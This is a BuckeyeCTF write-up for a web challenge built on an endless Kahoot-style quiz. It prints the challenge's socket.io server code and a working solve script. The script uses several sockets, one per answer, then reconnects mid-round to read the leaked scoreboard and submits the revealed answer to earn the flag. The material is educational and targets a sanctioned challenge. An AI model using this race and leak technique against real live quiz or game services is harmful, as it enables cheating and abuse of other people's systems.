Category:web
Author:jm8
Description:It's like the popular educational game, but it never ends.
https://infinity.chall.pwnoh.io
Note: the flag format for this challenge only is flag{}.
This year's BuckeyeCTF had a pretty interesting web challenge. We were given a kahoot clone that went infintely, and the goal was to get 21 questions right in a row. The thing was, each question's answer was randomized, so if we were guessing, the chances of getting a streak of 21 questions is one in so guessing over and over again isn't an option. We need to find a way to cheat the answer out. Lets take a look at the code. We'll only look at the server code because the client code is irrelevant. The server code is a single 210 line file, but the majority of that is taken up by questions.
First they define an array of questions, notice how they don't have a set answer. The correct answer will be generated later.
scoreboard
is an object relating a socket.io id with their current streak.answered
is the set of all the ids that have answered. This is here to prevent people from answering multiple times.correctAnswer
is the index of the correct answer. It is using therandomInt
function from crypto so we can't do any random cracking shenanigans.
Next we have a function that generates gameState to be sent out. Note that the entire
scoreboard is sent out, but the client only shows the top score. It will also send out a
correct answer if answerRevealed
is true.
When a socket connects (a user joins) the game will send the gameState out to the player.
It will also listen to any incoming answer
messages. If the user already
answered or the time limit is up, it aborts. Otherwise it will immediately set their score to 0 if they got it wrong or increment
their score by one if they got it right.
And if we get 21 correct in a row it sends us the flag :)
- First initializes all the variables then emits game state.
- Waits 8 seconds for people to answer.
- Delete all the people who did not answer from the scoreboard, then reveal the answer by
sending the game state with
answerRevealed
set to true. - Waits 3 seconds, then selects the next question, starting the loop again.
import { Server } from "socket.io";
import { randomInt } from "crypto";
import { Question, GameState } from "../types";
import shuffleArray from "shuffle-array";
import express from "express";
import http from "http";
import path from "path";
const QUESTIONS: Question[] = [
{
question: "What color am I thinking of?",
answers: ["Red", "Blue", "Yellow", "Green"],
image: "https://upload.wikimedia.org/...",
},
...
];
async function main(io: Server) {
let scoreboard: Record<string, number> = {};
let answered = new Set();
let questionIndex = 0;
let correctAnswer = randomInt(4);
let answerRevealed = false;
let sleepEndTime: number = 0;
function sleep(seconds: number) {
sleepEndTime = new Date().getTime() + 1000 * seconds;
return new Promise((resolve) => setTimeout(resolve, 1000 * seconds));
}
function gameState(): GameState {
return {
question: QUESTIONS[questionIndex],
questionIndex,
scoreboard,
correctAnswer: answerRevealed ? correctAnswer : undefined,
timeLeft: 8000,
};
}
io.on("connect", socket => {
socket.emit("gameState", {
...gameState(),
timeLeft: sleepEndTime - new Date().getTime()
});
socket.on("answer", (answer: number) => {
if (answered.has(socket.id) || answerRevealed) {
return;
}
answered.add(socket.id);
if (!(socket.id in scoreboard)) {
scoreboard[socket.id] = 0;
}
if (answer == correctAnswer) {
scoreboard[socket.id] += 1;
} else {
scoreboard[socket.id] = 0;
}
if (scoreboard[socket.id] >= 21) {
socket.emit("flag", process.env.FLAG ?? "bctf{fake_flag}");
}
})
})
while (true) {
if (questionIndex === 0) {
shuffleArray(QUESTIONS);
}
answerRevealed = false;
answered.clear();
correctAnswer = randomInt(4);
io.emit("gameState", gameState());
await sleep(8);
answerRevealed = true;
for (const player of Object.keys(scoreboard)) {
if (!answered.has(player)) {
delete scoreboard[player];
}
}
io.emit("gameState", gameState());
await sleep(3);
questionIndex = (questionIndex + 1) % QUESTIONS.length;
}
}
const app = express();
const server = http.createServer(app);
const io = new Server(server);
app.use(express.static(path.join(__dirname, "../client/dist")));
main(io);
server.listen(1024);
Now that we have a solid understanding of the code, we can dive into the challenge solution.
The bug that allows us to get the answer before the timer ends is that when a player answers,
their score is immediately updated in the scoreboard after the server recieves the answer
message. Then we can get the players score by getting the game state to see
if they were right or wrong.
You might be wondering how that helps us because the game state is only sent out after the
answer is revealed, but there is actually another way of obtaining the game state. If we look
at where the gameState()
is called, we can see that it is called in 3 different places.
- When a player joins
- When the timer expires and the answer is revealed
- When the new question is sent out.
And because players can join in the middle of the round, we now have a way of getting the game state!
const checkers = [io(), io(), io(), io()];
const lbChecker = io({ autoConnect: false });
const winner = io();
We first initalize all the connections we need. One checker for each answer. One connection to join in the middle of the round, and one connection to submit the correct answer
If you actually do this on the live servers, you'll have to wait a couple seconds for all of the connections to go through.
for (const i in checkers) {
const checker = checkers[i];
checker.on("gameState", (state) => {
// The gameState that gives us the question will have
// correctAnswer equal to undefined
if (state.correctAnswer === undefined) {
console.log("sending answer " + i)
if (i == 0) {
// If you are the one presssing the first answer,
// reconnect the lbChecker after 500ms
setTimeout(() => {
console.log("reconnecting lb checker")
lbChecker.connect();
}, 500)
}
checker.emit("answer", i)
}
})
}
Next we'll get every one of the checkers to press one of the ansewrs. We'll have one of the checkers reconnect the lbChecker after 500ms which should give the checkers enough time to answer the question.
const getCorrectAnswer = (lb) => {
for (const i in checkers) {
if (lb[checkers[i].id] > 0) {
return i
}
}
}
lbChecker.on("gameState", (state) => {
if (state.correctAnswer === undefined) {
console.log("winner has score of: " + state.scoreboard[winner.id])
const correct = getCorrectAnswer(state.scoreboard)
console.log("correct answer was " + correct)
winner.emit("answer", correct)
lbChecker.disconnect();
}
})
winner.on("flag", (flag) => { console.log("FLAG!!!!! " + flag) })
Finally we can get the leaderboard checker going. getCorrectAnswer
will check
which checker got it correct, which will give us the index of the answer. Then have the winner
emit the answer that we now know. Also we'll listen to flag
on the winner bot.
Lets see this on a timeline:
join
Scoreboard
leave
That might be a lot to take in but I hope the diagram helps you understand the exploit a little better. If you don't understand one of the steps, hover over the step and a description should pop up.
Finally I'll provide the full solve script. It is arranged differently but it does the same thing.
Solve script here!
const checkers = [io(), io(), io(), io()];
let lbChecker = io({ autoConnect: false });
lbChecker.on("gameState", (state) => {
if (state.correctAnswer === undefined) {
console.log("winner has score of: " + state.scoreboard[winner.id])
const correct = getCorrectAnswer(state.scoreboard)
console.log("correct answer was " + correct)
winner.emit("answer", correct)
lbChecker.disconnect();
}
})
const winner = io();
for (const i in checkers) {
const checker = checkers[i];
checker.on("gameState", (state) => {
if (state.correctAnswer === undefined) {
console.log("sending answer " + i)
if (i == 0) {
// reconnect lbChecker
setTimeout(() => {
console.log("reconnecting lb checker")
lbChecker.connect();
}, 500)
}
checker.emit("answer", i)
}
})
}
const getCorrectAnswer = (lb) => {
for (const i in checkers) {
if (lb[checkers[i].id] > 0) {
return i
}
}
}
winner.on("flag", (flag) => { console.log("FLAG!!!!! " + flag) })
Finally lets just go ahead and use this solve script. Running this script and waiting a while, we'll get the flag.
Thanks for reading through. I would like to thank the BuckeyeCTF organizers, this was an incredibly fun ctf to play and I look foward to playing it in future years.